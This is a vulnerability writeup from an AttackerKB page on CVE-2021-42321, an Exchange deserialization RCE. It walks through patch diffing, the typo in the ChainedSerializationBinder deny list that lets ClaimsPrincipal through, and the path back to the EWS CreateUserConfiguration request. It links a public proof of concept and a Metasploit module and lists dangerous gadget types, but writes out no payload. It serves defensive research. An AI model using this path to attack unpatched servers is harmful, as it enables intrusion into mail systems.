High
CVE-2021-42321
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
CVE-2021-42321
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Microsoft Exchange Server Remote Code Execution Vulnerability
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityHigh
Technical Analysis
A PoC for this vulnerability is now available at https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398. There is also a Metasploit module at https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/exchange_chainedserializationbinder_denylist_typo_rce.rb
What follows is my writeup for this that I wrote a while back, containing info on finding the bug from the patches as well as some info on the side effects of exploiting this bug.
Intro
Alright so looks like this bug, CVE-2021-42321 is a post authentication RCE bug.
Only affects Exchange 2016 CU 21 and CU 22. Also Exchange 2019 CU 10 and CU 11.
Found bug fix by patch diffing the October 2021 security updates and the November 2021 patches. Aka https://support.microsoft.com/help/5007409 which applies the November 2021 patch, and KB5007012 aka the October 2021 patch.
Personally I found that we can use [[7Zip]] to uncompress the MSI files from the patches, then use [[dnSpy]] from https://github.com/dnSpy/dnSpy to load all files in the directory we extract the patch contents to a folder. Note that [[ILSpy]] is a nice alternative however unfortunately it does run into issues with decompiling files that [[dnSpy]] can handle fine, so you end up missing lots of files from the export.
Once decompilation is done use File->Remove assemblies with load errors
to remove the extra files that couldn’t be decompiled, then use File -> Save Code
after selecting every single file in the code and it should show us the opportunity to create a new project to save the code to.
From here we can create a new directory to save the code into and tell it to save the decompiled code into that.
From there we can use [[Meld]] to do a directory diff of the files from the two patch files to see what changed.
Analyzing the Diff
Finding the Changed Files
Looking at just the new/removed files we can see the following:
![[Pasted image 20220205113200.png]]
As we can see here of particular note given this is a serialization bug is the fact that Microsoft.Exchange.Compliance.dll
had three files removed from it, specifically under the Microsoft.Exchange.Compliance\Compliance\Serialiation\Formatters
directory for the following files:
- TypedBinaryFormatter.cs
- TypedSerialiationFormatter.cs
- TypedSoapFormatter.cs
Narrowing in on The Vulnerable File – TypedBinaryFormatter.cs
Looking through these files we can see that TypedBinaryFormatter.cs
has a function named Deserialize
with the following prototype:
// Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter using System.IO; using System.Runtime.Serialization; using Microsoft.Exchange.Diagnostics; private static object Deserialize(Stream serializationStream, SerializationBinder binder) { return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.ComplianceFormatter, strictMode: false, allowedTypes, allowedGenerics).Deserialize(serializationStream); }
What is interesting here is that binder
is a SerializationBinder
, which is a essentially a class that acts as a controller to tell the program what can be and can’t be serialized and deserialized. Yet this is never passed into the ExchangeBinaryFormatterFactory.CreateBinaryFormatter()
function, so it never gets this crucial information on what it is meant to be blocking as far as deserialization goes.
Examining Deserialize() Function Call to CallExchangeBinaryFormatterFactory.CreateBinaryFormatter()
Lets see where ExchangeBinaryFormatterFactory.CreateBinaryFormatter
is defined. Looking for the string ExchangeBinaryFormatter
in [[dnSpy]] will bring us to Microsoft.Exchange.Diagnostics.dll
under the Microsoft.Exchange.Diagnostics
namespace, then the ExchangeBinaryFormatterFactory
we can see the definition for ExchangeBinaryFormatterFactory.CreateBinaryFormatter()
as:
// Microsoft.Exchange.Diagnostics.ExchangeBinaryFormatterFactory using System.Runtime.Serialization.Formatters.Binary; public static BinaryFormatter CreateBinaryFormatter(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null) { return new BinaryFormatter { Binder = new ChainedSerializationBinder(usageLocation, strictMode, allowList, allowedGenerics) }; }
Note also that in the original call strictMode
was set to false
and the allowList
and allowedGenerics
were set to TypedBinaryFormatter.allowedTypes
, and TypedBinaryFormatter.allowedGenerics
respectively. Meanwhile useageLocation
was set to DeserializeLocation.ComplianceFormatter
.
This will mean that we end up calling ChainedSerializationBinder
with:
strictMode
set tofalse
,
allowList
set toTypedBinaryFormatter.allowedTypes
allowedGenerics
set toTypedBinaryFormatter.allowedGenerics
usageLocation
set toDeserializeLocation.ComplianceFormatter
.
Examining ChainedSerializationBinder Class Deeper
If we look at the code we can see that a new ChainedSerializationBinder
instance is being created so lets take a look at that.
We can see the definition of the initialization function here:
// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder using System; using System.Collections.Generic; public ChainedSerializationBinder(DeserializeLocation usageLocation, bool strictMode = false, string[] allowList = null, string[] allowedGenerics = null) { this.strictMode = strictMode; allowedTypesForDeserialization = ((allowList != null && allowList.Length != 0) ? new HashSet<string>(allowList) : null); allowedGenericsForDeserialization = ((allowedGenerics != null && allowedGenerics.Length != 0) ? new HashSet<string>(allowedGenerics) : null); typeResolver = typeResolver ?? ((Func<string, Type>)((string s) => Type.GetType(s))); location = usageLocation; }
Here we can see that allowedTypesForDeserialization
is set to TypedBinaryFormatter.allowedTypes
and allowedGenericsForDeserialization
is set to TypedBinaryFormatter.allowedGenerics
. Furthermore, this.strictMode
is set to false
, and location
is set to DeserializeLocation.ComplianceFormatter
.
Next we should know that BindToType()
is used to validate the class for deserialization. So lets take a look at that logic inside the ChainedSerializationBinder
class.
// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder using System; public override Type BindToType(string assemblyName, string typeName) { if (serializationOnly) { throw new InvalidOperationException("ChainedSerializationBinder was created for serialization only. This instance cannot be used for deserialization."); } Type type = InternalBindToType(assemblyName, typeName); if (type != null) { ValidateTypeToDeserialize(type); } return type; }
Since serializationOnly
isn’t set, we will skip this logic and get the type using InternalBindToType()
which is a simple wrapper around LoadType()
with no validation:
// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder using System; protected virtual Type InternalBindToType(string assemblyName, string typeName) { return LoadType(assemblyName, typeName); }
After getting the type we then check the type wasn’t null
, aka we were able to find a valid type, and we call ValidateTypeToDeserialize(type)
to validate that the type is okay to deserialize.
// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder using System; protected void ValidateTypeToDeserialize(Type typeToDeserialize) { if (typeToDeserialize == null) { return; } string fullName = typeToDeserialize.FullName; bool flag = strictMode; try { if (!strictMode && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName)) && GlobalDisallowedTypesForDeserialization.Contains(fullName)) { flag = true; throw new InvalidOperationException($"Type {fullName} failed deserialization (BlockList)."); } if (typeToDeserialize.IsConstructedGenericType) { fullName = typeToDeserialize.GetGenericTypeDefinition().FullName; if (allowedGenericsForDeserialization == null || !allowedGenericsForDeserialization.Contains(fullName) || GlobalDisallowedGenericsForDeserialization.Contains(fullName)) { throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location); } } else if (!AlwaysAllowedPrimitives.Contains(fullName) && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName) || GlobalDisallowedTypesForDeserialization.Contains(fullName)) && !typeToDeserialize.IsArray && !typeToDeserialize.IsEnum && !typeToDeserialize.IsAbstract && !typeToDeserialize.IsInterface) { throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location); } } catch (BlockedDeserializeTypeException ex) { DeserializationTypeLogger.Singleton.Log(ex.TypeName, ex.Reason, location, (flag || strictMode) ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked); if (flag) { throw; } } }
Here is where the code gets interesting. You see, there is only one catch statement, which is designed to catch all BlockedDeserializationTypeException
errors, however if (!strictMode && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName)) && GlobalDisallowedTypesForDeserialization.Contains(fullName))
will result in an unhandled InvalidOperationException
being thrown if both strictMode
isn’t set and the type we are trying to deserialize is within the GlobalDisallowedTypesForDeserialization
and has not been granted exception via the allowedTypesForDeserialization
list. Since strictMode
is not set, there is the very real possibility this exception might be thrown, so this is something we have to watch out for.
Otherwise every other exception thrown will be caught by this catch (BlockedDeserializeTypeException ex)
code, however it will interestingly log the exception as a DeserializationTypeLogger.BlockStatus.WouldBeBlocked
error since strictMode
is set to false as is flag
which is set as bool flag = strictMode;
earlier in the code.
Additionally since flag
isn’t set since strictMode
is set to false
, no error is thrown and the code proceeds normally without any errors.
However what is in this blacklist denoted by GlobalDisallowedTypesForDeserialization
? Lets find out. First we need to find out how GlobalDisallowedTypesForDeserialization
is defined.
Looking Deeper at GlobalDisallowedTypesForDeserialization Type Blacklist – Aka Finding the Bug
Looking at the code for Microsoft.Exchange.Diagnostics.ChainedSerializationBinder
we can see that GlobalDisallowedTypesForDeserialization
is actually set to the result of BuildDisallowedTypesForDeserialization()
when it is initialized:
// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.Serialization; using Microsoft.Exchange.Diagnostics; public class ChainedSerializationBinder : SerializationBinder { private const string TypeFormat = "{0}, {1}"; private static readonly HashSet<string> AlwaysAllowedPrimitives = new HashSet<string> { typeof(string).FullName, typeof(int).FullName, typeof(uint).FullName, typeof(long).FullName, typeof(ulong).FullName, typeof(double).FullName, typeof(float).FullName, typeof(bool).FullName, typeof(short).FullName, typeof(ushort).FullName, typeof(byte).FullName, typeof(char).FullName, typeof(DateTime).FullName, typeof(TimeSpan).FullName, typeof(Guid).FullName }; private bool strictMode; private DeserializeLocation location; private Func<string, Type> typeResolver; private HashSet<string> allowedTypesForDeserialization; private HashSet<string> allowedGenericsForDeserialization; private bool serializationOnly; protected static HashSet<string> GlobalDisallowedTypesForDeserialization { get; private set; } = BuildDisallowedTypesForDeserialization();
If we decompile this function we can notice something interesting:
// Microsoft.Exchange.Diagnostics.ChainedSerializationBinder using System.Collections.Generic; private static HashSet<string> BuildDisallowedTypesForDeserialization() { return new HashSet<string> { "Microsoft.Data.Schema.SchemaModel.ModelStore", "Microsoft.FailoverClusters.NotificationViewer.ConfigStore", "Microsoft.IdentityModel.Claims.WindowsClaimsIdentity", "Microsoft.Management.UI.Internal.FilterRuleExtensions", "Microsoft.Management.UI.FilterRuleExtensions", "Microsoft.Reporting.RdlCompile.ReadStateFile", "Microsoft.TeamFoundation.VersionControl.Client.PolicyEnvelope", "Microsoft.VisualStudio.DebuggerVisualizers.VisualizerObjectSource", "Microsoft.VisualStudio.Editors.PropPageDesigner.PropertyPageSerializationService+PropertyPageSerializationStore", "Microsoft.VisualStudio.EnterpriseTools.Shell.ModelingPackage", "Microsoft.VisualStudio.Modeling.Diagnostics.XmlSerialization", "Microsoft.VisualStudio.Publish.BaseProvider.Util", "Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties", "Microsoft.VisualStudio.Web.WebForms.ControlDesignerStateCache", "Microsoft.Web.Design.Remote.ProxyObject", "System.Activities.Presentation.WorkflowDesigner", "System.AddIn.Hosting.AddInStore", "System.AddIn.Hosting.Utils", "System.CodeDom.Compiler.TempFileCollection", "System.Collections.Hashtable", "System.ComponentModel.Design.DesigntimeLicenseContextSerializer", "System.Configuration.Install.AssemblyInstaller", "System.Configuration.SettingsPropertyValue", "System.Data.DataSet", "System.Data.DataViewManager", "System.Data.Design.MethodSignatureGenerator", "System.Data.Design.TypedDataSetGenerator", "System.Data.Design.TypedDataSetSchemaImporterExtension", "System.Data.SerializationFormat", "System.DelegateSerializationHolder", "System.Drawing.Design.ToolboxItemContainer", "System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer", "System.IdentityModel.Services.Tokens.MachineKeySessionSecurityTokenHandler", "System.IdentityModel.Tokens.SessionSecurityToken", "System.IdentityModel.Tokens.SessionSecurityTokenHandler", "System.IO.FileSystemInfo", "System.Management.Automation.PSObject", "System.Management.IWbemClassObjectFreeThreaded", "System.Messaging.BinaryMessageFormatter", "System.Resources.ResourceReader", "System.Resources.ResXResourceSet", "System.Runtime.Remoting.Channels.BinaryClientFormatterSink", "System.Runtime.Remoting.Channels.BinaryClientFormatterSinkProvider", "System.Runtime.Remoting.Channels.BinaryServerFormatterSink", "System.Runtime.Remoting.Channels.BinaryServerFormatterSinkProvider", "System.Runtime.Remoting.Channels.CrossAppDomainSerializer", "System.Runtime.Remoting.Channels.SoapClientFormatterSink", "System.Runtime.Remoting.Channels.SoapClientFormatterSinkProvider", "System.Runtime.Remoting.Channels.SoapServerFormatterSink", "System.Runtime.Remoting.Channels.SoapServerFormatterSinkProvider", "System.Runtime.Serialization.Formatters.Binary.BinaryFormatter", "System.Runtime.Serialization.Formatters.Soap.SoapFormatter", "System.Runtime.Serialization.NetDataContractSerializer", "System.Security.Claims.ClaimsIdentity", "System.Security.ClaimsPrincipal", "System.Security.Principal.WindowsIdentity", "System.Security.Principal.WindowsPrincipal", "System.Security.SecurityException", "System.Web.Security.RolePrincipal", "System.Web.Script.Serialization.JavaScriptSerializer", "System.Web.Script.Serialization.SimpleTypeResolver", "System.Web.UI.LosFormatter", "System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem", "System.Web.UI.ObjectStateFormatter", "System.Windows.Data.ObjectDataProvider", "System.Windows.Forms.AxHost+State", "System.Windows.ResourceDictionary", "System.Workflow.ComponentModel.Activity", "System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector", "System.Xml.XmlDataDocument", "System.Xml.XmlDocument" }; }
This is a bit hard to read, so lets take a look at the patch diff from [[Meld]]:
![[Pasted image 20220205130924.png]]
Huh looks like there was a typo in the Security.System.Claims.ClaimsPrincipal
blacklist entry where it was typed as Security.System.ClaimsPrincipal
aka we missed an extra .Claims
in the name.
Why Security.System.Claims.ClaimsPrincipal Was Blocked – A Deeper Dive into The Root Issue
Lets look at the call chain here. If we decompile the code for System.Security.Claims.ClaimsPrincipal
we can see mentions of OnDeserialized
which has a more full explanation at https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.ondeserializedattribute?view=net-6.0. Note that it states When OnDeserializedAttribute class is applied to a method, specifies that the method is called immediately after deserialization of an object in an object graph. The order of deserialization relative to other objects in the graph is non-deterministic.
Of particular interest is the OnDeserializedMethod()
method which is called after deserialization takes place. Note that if there was a OnDeserializingMethod
that would be called during deserialization which would also work.
Looking into the class more we notice the following functions:
Initializer. Note that this is labeled as [NonSerialized]
so despite it calling the Deserialize()
method it will not be called upon deserialization as it as explicitly declared itself as something that can’t be deserialized. Thus we can’t use this function to trigger the desired Deserialize()
method call. Lets keep looking.
// System.Security.Claims.ClaimsPrincipal using System.Collections.Generic; using System.IO; using System.Runtime.Serialization; using System.Security.Principal; [OptionalField(VersionAdded = 2)] private string m_version = "1.0"; [NonSerialized] private List<ClaimsIdentity> m_identities = new List<ClaimsIdentity>(); [SecurityCritical] protected ClaimsPrincipal(SerializationInfo info, StreamingContext context) { if (info == null) { throw new ArgumentNullException("info"); } Deserialize(info, context); }
The next place to look is that weird OnDeserialized()
method. Lets take a look at its code. We can see that the [OnDeserialized]
class is applied to this method meaning that method is called immediately after deserialization of an object in an object graph
. We can also see that it takes in a StreamingContext
parameter and then proceeds to call DeserializeIdentities()
with a variable known as m_serializedClaimIdentities
:
// System.Security.Claims.ClaimsPrincipal using System.Runtime.Serialization; [OnDeserialized] [SecurityCritical] private void OnDeserializedMethod(StreamingContext context) { if (!(this is ISerializable)) { DeserializeIdentities(m_serializedClaimsIdentities); m_serializedClaimsIdentities = null; } }
But where is m_serializedClaimsIdentities
set? Well looking at the OnSerializedMethod()
function we can see this is set when serializing the object, as explained at https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.ondeserializingattribute?view=net-6.0 in the code examples and as shown below:
// System.Security.Claims.ClaimsPrincipal using System.Runtime.Serialization; [OnSerializing] [SecurityCritical] private void OnSerializingMethod(StreamingContext context) { if (!(this is ISerializable)) { m_serializedClaimsIdentities = SerializeIdentities(); } }
Alright so now we know how that is set, lets go back to the deserialization shall we? The code for DeserializeIdentities()
can be seen below. Note that there is a call to binaryFormatter.Deserialize(serializationStream2, null, fCheck: false);
in this code. binaryFormatter.Deserialize()
is equivalent to BinaryFormatter.Deserialize()
, which doesn’t bind a checker to check what types are being deserialized, so this method is easily exploitable if no checks or incorrect checks are being done on the types being deserialized. This is the case here due to the incorrect implementation of the type blacklist.
// System.Security.Claims.ClaimsPrincipal using System.Collections.Generic; using System.Globalization; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Security.Principal; [SecurityCritical] private void DeserializeIdentities(string identities) { m_identities = new List<ClaimsIdentity>(); if (string.IsNullOrEmpty(identities)) { return; } List<string> list = null; BinaryFormatter binaryFormatter = new BinaryFormatter(); using MemoryStream serializationStream = new MemoryStream(Convert.FromBase64String(identities)); list = (List<string>)binaryFormatter.Deserialize(serializationStream, null, fCheck: false); for (int i = 0; i < list.Count; i += 2) { ClaimsIdentity claimsIdentity = null; using (MemoryStream serializationStream2 = new MemoryStream(Convert.FromBase64String(list[i + 1]))) { claimsIdentity = (ClaimsIdentity)binaryFormatter.Deserialize(serializationStream2, null, fCheck: false); } if (!string.IsNullOrEmpty(list[i])) { if (!long.TryParse(list[i], NumberStyles.Integer, NumberFormatInfo.InvariantInfo, out var result)) { throw new SerializationException(Environment.GetResourceString("Serialization_CorruptedStream")); } claimsIdentity = new WindowsIdentity(claimsIdentity, new IntPtr(result)); } m_identities.Add(claimsIdentity); } }
So from this we can confirm that the chain for deserialization looks like this:
System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() BinaryFormatter.Deserialize()
Quick review
TLDR
We now have a type, TypedBinaryFormatter
that has a binder who incorrectly validates the types that TypedBinaryFormatter
deserializes and which allows the Security.Systems.Claims.ClaimsPrincipal
to go through which allows for arbitrary type deserialization.
Longer explanation
Alright so lets quickly review what we know. We know we need to deserialize a TypedBinaryFormatter
object whose Deserialize()
method will result in a ExchangeBinaryFormatterFactory.CreateBinaryFormatter()
call. This results in a new ChainedSerializationBinder
class object being created whose BindToType()
method that is used to validate the data that TypedBinaryFormatter
will deserialize. BindToType()
will call ValidateTypeToDeserialize()
within the same class. This uses a blacklist in the variable GlobalDisallowedTypesForDeserialization
which is set to the result of calling ChainedSerializationBinder
’s BuildDisallowedTypesForDeserialization()
method. Unfortunately this method had a typo so the Security.System.Claims.ClaimsPrincipal
type was allowed though.
If we then deserialize an object of type Security.System.Claims.ClaimsPrincipal
we can get it to hit a vulnerable BinaryFormatter.Deserialize()
call via the call chain, which can deserialize arbitrary classes as this type of formatter doesn’t use a binder to check what types it deserializes.
TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder) TypedBinaryFormatter.Desearialize(Stream) System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() BinaryFormatter.Deserialize()
The Source
Initial Inspection
Lets start at Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder)
and work back. We start with this one as its the most common use case. If we look at the other remaining 3 function definition variations for the Deserialize()
method, we will see that two of them have no callers, and the remaining one is a little more complex (I imagine its still viable but no need to complicate the beast when there are simpler ways!)
![[Pasted image 20220205174401.png]]
As is shown above we can see that Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.Deserialize(Stream, SerializationBinder)
is called by Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder)
, which is turn called by Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)
.
So deserialization chain is now:
Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder) TypedBinaryFormatter.Desearialize(Stream) System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() BinaryFormatter.Deserialize()
ILSpy And Interfaces – Finding Where Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) is Used
At this point we hit a snag, as it seems like this isn’t called anywhere. However in [[ILSpy]] and we see we can see an Implements
field that does not appear in [[dnSpy]] and if we expand this we can see that it has a Implemented By
and Used By
field.
We can see that Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)
implements Microsoft.Exchange.Data.ApplicationLogic.Extension.IClientExtensionCollectionFormatter.Deserialize
(note the IClient
not Client
part here indicating that this is an interface, not a normal class), and that this interface is used by Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)
, which will use this interface to call the Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream)
function.
![[Pasted image 20220207195041.png]]
We can also verify that Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer
is essentially just an interface wrapper around the ClientExtensionCollectionFormatter
interface:
// Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer private IClientExtensionCollectionFormatter formatter;
So deserialization chain is now:
Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration, out OrgExtensionRetrievalResult, out Exception) Microsoft.Exchange.Data.ApplicationLogic.Extension.ClientExtensionCollectionFormatter.Deserialize(Stream) TypedBinaryFormatter.DeserializeObject(Stream, TypeBinder) TypedBinaryFormatter.Desearialize(Stream) System.Security.Claims.ClaimsPrincipal.OnDeserializedMethod() System.Security.Claims.ClaimsPrincipal.DeserializeIdentities() BinaryFormatter.Deserialize()
Finding the Expected Data Types for Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize
The code for Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)
can be seen below:
// Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer using System; using System.Collections; using System.IO; using System.Runtime.Serialization; using Microsoft.Exchange.Data.Storage; public bool TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception) { result = new OrgExtensionRetrievalResult(); exception = null; IDictionary dictionary = userConfiguration.GetDictionary(); if (dictionary.Contains("OrgDO")) { result.HasDefaultExtensionsWithDefaultStatesOnly = (bool)dictionary["OrgDO"]; } bool flag = false; if (!result.HasDefaultExtensionsWithDefaultStatesOnly) { using (Stream stream = userConfiguration.GetStream()) { stream.Position = 0L; try { result.Extensions = formatter.Deserialize(stream); <- DESERIALIZATION HERE return true; } catch (SerializationException ex) { Tracer.TraceError(GetHashCode(), "deserialization failed with {0}", ex); flag = false; exception = ex; return flag; } } } return true; }
Looking at the code here we can see that we appear to be deserializing a stream
variable of type Stream
, which is set to the result of calling userConfiguration.GetStream()
. Further up in the code we can see userConfiguration
is defined as an interface to the UserConfiguration
class via the line IUserConfiguration userConfiguration
in the parameter list. We can find more details on this class at https://docs.microsoft.com/en-us/dotnet/api/microsoft.exchange.webservices.data.userconfiguration?view=exchange-ews-api which mentions this is part of the Exchange EWS API.
Further Googling for UserConfiguration
turns up https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/userconfiguration which references it as a EWS XML element that defines a single user configuration object with the following format:
<UserConfiguration> <UserConfigurationName/> <ItemId/> <Dictionary/> <XmlData/> <BinaryData/> </UserConfiguration>
We also see there is a parent object called CreateUserConfiguration
. Documentation for this object can be found at https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createuserconfiguration where it is defined as follows:
<CreateUserConfiguration> <UserConfiguration/> </CreateUserConfiguration>
Okay so this is great and all, but this leaves two questions. The first question is “How do we actually use this data in a web request?” and the second question is “What is this data used for normally?”. Further Googling of CreateUserConfiguration
answers the second question when we find https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/createuserconfiguration-operation which mentions that The CreateUserConfiguration operation creates a user configuration object on a folder.
This also provides some data examples on how this might be used as a SOAP request. However it doesn’t specify what endpoint we would have to send this to, leading to another open question. A second open question then becomes “Okay I suppose I might want to debug this later on in the code when developing the exploit, but where is it implemented?”. Lets answer that second question now.
Identifying CreateUserConfiguration Code
As it turns out, finding the code that handles CreateUserConfiguration
takes us down a bit of a winding path. We start with Microsoft.Exchange.Data.Storage.IUserConfiguration
as the definition of the interface we saw earlier in the Microsoft.Exchange.Data.ApplicationLogic.Extension.OrgExtensionSerializer.TryDeserialize(IUserConfiguration userConfiguration, out OrgExtensionRetrievalResult result, out Exception exception)
function definition.
However once again we quickly realize that IUserConfiguration
is just an interface class. Searching for UserConfiguration
with the Type
filter on eventually leads us to find the Microsoft.Exchange.Data.Storage.UserConfiguration
type:
![[Pasted image 20220207203836.png]]
Looking inside this leads us to find Microsoft.Exchange.Data.Storage.UserConfiguration.GetConfiguration
.
// Microsoft.Exchange.Data.Storage.UserConfiguration using Microsoft.Exchange.Diagnostics; using Microsoft.Exchange.Diagnostics.Components.Data.Storage; using Microsoft.Exchange.ExchangeSystem; public static UserConfiguration GetConfiguration(Folder folder, UserConfigurationName configurationName, UserConfigurationTypes type, bool autoCreate) { EnumValidator.ThrowIfInvalid(type, "type"); try { return GetIgnoringCache(null, folder, configurationName, type); } catch (ObjectNotFoundException arg) { if (ExTraceGlobals.StorageTracer.IsTraceEnabled(TraceType.ErrorTrace)) { ExTraceGlobals.StorageTracer.TraceError(0L, "UserConfiguration::GetConfiguration. User Configuration object not found. Exception = {0}.", arg); } } if (autoCreate) { return Create(folder, configurationName, type); } return null; }
At this point, I knew that there has to be some way to create the user configuration object given the error message and wondered if there was a similarly named CreateUserConfiguration
function, going off of the naming convention that seemed to be used for these functions. I searched for this and it turns out there was a function under Microsoft.Exchange.Services.Core.CreateUserConfiguration
named CreateUserConfiguration()
.
![[Pasted image 20220207204246.png]]
Lets look at its code:
// Microsoft.Exchange.Services.Core.CreateUserConfiguration using Microsoft.Exchange.Services.Core.Types; public CreateUserConfiguration(ICallContext callContext, CreateUserConfigurationRequest request) : base(callContext, request) { serviceUserConfiguration = request.UserConfiguration; ServiceCommandBase<ICallContext>.ThrowIfNull(serviceUserConfiguration, "serviceUserConfiguration", "CreateUserConfiguration::ctor"); }
Alright so this seems to take in some request object from a HTTP request or similar, and then set the serviceUserConfiguration
variable to the section in the request named UserConfiguration
with request.UserConfiguration
. We seem to be on the right track, so lets look at the Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest
type of the request
variable:
// Microsoft.Exchange.Services.Core.Types.CreateUserConfigurationRequest using System.Runtime.Serialization; using System.Xml.Serialization; using Microsoft.Exchange.Services; using Microsoft.Exchange.Services.Core; using Microsoft.Exchange.Services.Core.Types; [XmlType("CreateUserConfigurationRequestType", Namespace = "http://schemas.microsoft.com/exchange/services/2006/messages")] [DataContract(Namespace = "http://schemas.datacontract.org/2004/07/Exchange")] public class CreateUserConfigurationRequest : BaseRequest { [XmlElement] [DataMember(IsRequired = true)] public ServiceUserConfiguration UserConfiguration { get; set; } internal override IServiceCommand GetServiceCommand(ICallContext callContext) { return new CreateUserConfiguration(callContext, this); } public override BaseServerIdInfo GetProxyInfo(IMinimalCallContext callContext) { if (UserConfiguration == null || UserConfiguration.UserConfigurationName == null || UserConfiguration.UserConfigurationName.BaseFolderId == null) { return null; } return BaseServerIdInfoFactory.GetServerInfoForFolderId(callContext, UserConfiguration.UserConfigurationName.BaseFolderId); } }
Here we can see that UserConfiguration
is of type Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration
so lets check out that definition:
// Microsoft.Exchange.Services.Core.Types.ServiceUserConfiguration using System; using System.Runtime.Serialization; using System.Xml.Serialization; using Microsoft.Exchange.Services.Core.Types; [Serializable] [XmlType(TypeName = "UserConfigurationType", Namespace = "http://schemas.microsoft.com/exchange/services/2006/types")] [DataContract(Namespace = "http://schemas.datacontract.org/2004/07/Exchange")] public class ServiceUserConfiguration { [XmlElement("UserConfigurationName")] [DataMember(IsRequired = true, Order = 1)] public UserConfigurationNameType UserConfigurationName { get; set; } [XmlElement("ItemId")] [DataMember(Name = "ItemId", IsRequired = false, EmitDefaultValue = false, Order = 2)] public ItemId ItemId { get; set; } [XmlArrayItem("DictionaryEntry", IsNullable = false)] [DataMember(Name = "Dictionary", IsRequired = false, EmitDefaultValue = false, Order = 3)] public UserConfigurationDictionaryEntry[] Dictionary { get; set; } [XmlElement] [DataMember(Name = "XmlData", IsRequired = false, EmitDefaultValue = false, Order = 4)] public string XmlData { get; set; } [DataMember(Name = "BinaryData", IsRequired = false, EmitDefaultValue = false, Order = 5)] public string BinaryData { get; set; } }
And this matches what we saw earlier! Perfect! But one last thing. We saw the example on the web used SOAP, so lets see if we can find a function related to SOAP that handles this function. Expanding this search to Types and Methods
and searching for CreateUserConfigurationSoap
, we see that CreateUserConfigurationSoapRequest
exists as a type, as well as CreateUserConfigurationSoapResponse
.
![[Pasted image 20220207211116.png]]
Lets look at the request definition:
// Microsoft.Exchange.Services.Wcf.CreateUserConfigurationSoapRequest using System.ServiceModel; using Microsoft.Exchange.Services.Core.Types; using Microsoft.Exchange.Services.Wcf; [MessageContract(IsWrapped = false)] public class CreateUserConfigurationSoapRequest : BaseSoapRequest { [MessageBodyMember(Name = "CreateUserConfiguration", Namespace = "http://schemas.microsoft.com/exchange/services/2006/messages", Order = 0)] public CreateUserConfigurationRequest Body; }
Alright lets see where that is used.
![[Pasted image 20220207211256.png]]
Looks like BeginCreateUserConfiguration(CreateUserConfigurationSoapRequest soapRequest, AsyncCallback asyncCallback, object asyncState)
uses this.
